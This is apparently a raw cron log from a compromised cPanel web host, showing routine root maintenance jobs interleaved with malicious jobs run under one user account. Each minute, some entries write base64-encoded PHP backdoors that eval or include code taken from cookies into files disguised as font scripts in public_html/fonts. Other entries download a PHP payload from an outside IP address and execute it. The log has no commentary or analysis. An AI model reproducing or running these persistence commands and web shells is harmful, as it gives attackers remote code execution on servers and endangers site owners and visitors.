Sep 21 05:03:01 ip-184-168-122-23 CROND[14409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:03:01 ip-184-168-122-23 CROND[14410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:04:01 ip-184-168-122-23 CROND[14678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:04:01 ip-184-168-122-23 CROND[14679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:04:01 ip-184-168-122-23 CROND[14680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:04:01 ip-184-168-122-23 CROND[14681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:04:01 ip-184-168-122-23 CROND[14685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:05:01 ip-184-168-122-23 CROND[15015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 05:05:01 ip-184-168-122-23 CROND[15017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:05:01 ip-184-168-122-23 CROND[15019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:05:01 ip-184-168-122-23 CROND[15021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:05:01 ip-184-168-122-23 CROND[15020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:05:01 ip-184-168-122-23 CROND[15022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:05:01 ip-184-168-122-23 CROND[15018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:06:01 ip-184-168-122-23 CROND[15300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:06:01 ip-184-168-122-23 CROND[15302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:06:01 ip-184-168-122-23 CROND[15304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:06:01 ip-184-168-122-23 CROND[15303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:06:01 ip-184-168-122-23 CROND[15305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:07:01 ip-184-168-122-23 CROND[15703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:07:01 ip-184-168-122-23 CROND[15705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:07:01 ip-184-168-122-23 CROND[15706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:07:01 ip-184-168-122-23 CROND[15707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:08:01 ip-184-168-122-23 CROND[16028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:08:01 ip-184-168-122-23 CROND[16031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:08:01 ip-184-168-122-23 CROND[16036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:08:01 ip-184-168-122-23 CROND[16037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:08:01 ip-184-168-122-23 CROND[16035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:09:01 ip-184-168-122-23 CROND[16319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:09:01 ip-184-168-122-23 CROND[16321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:09:01 ip-184-168-122-23 CROND[16323]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 05:09:01 ip-184-168-122-23 CROND[16322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:09:01 ip-184-168-122-23 CROND[16325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:10:01 ip-184-168-122-23 CROND[16591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16592]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:10:01 ip-184-168-122-23 CROND[16597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:11:01 ip-184-168-122-23 CROND[16914]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:11:01 ip-184-168-122-23 CROND[16917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:11:01 ip-184-168-122-23 CROND[16916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:11:01 ip-184-168-122-23 CROND[16915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:12:01 ip-184-168-122-23 CROND[17191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:12:01 ip-184-168-122-23 CROND[17193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:12:01 ip-184-168-122-23 CROND[17194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:12:01 ip-184-168-122-23 CROND[17195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:12:01 ip-184-168-122-23 CROND[17196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:13:01 ip-184-168-122-23 CROND[17562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:13:01 ip-184-168-122-23 CROND[17566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:13:01 ip-184-168-122-23 CROND[17564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:13:01 ip-184-168-122-23 CROND[17565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:14:01 ip-184-168-122-23 CROND[17877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:14:01 ip-184-168-122-23 CROND[17878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:14:01 ip-184-168-122-23 CROND[17879]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:14:01 ip-184-168-122-23 CROND[17882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:14:01 ip-184-168-122-23 CROND[17880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:15:01 ip-184-168-122-23 CROND[18199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:15:01 ip-184-168-122-23 CROND[18202]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:15:01 ip-184-168-122-23 CROND[18204]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:15:01 ip-184-168-122-23 CROND[18207]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
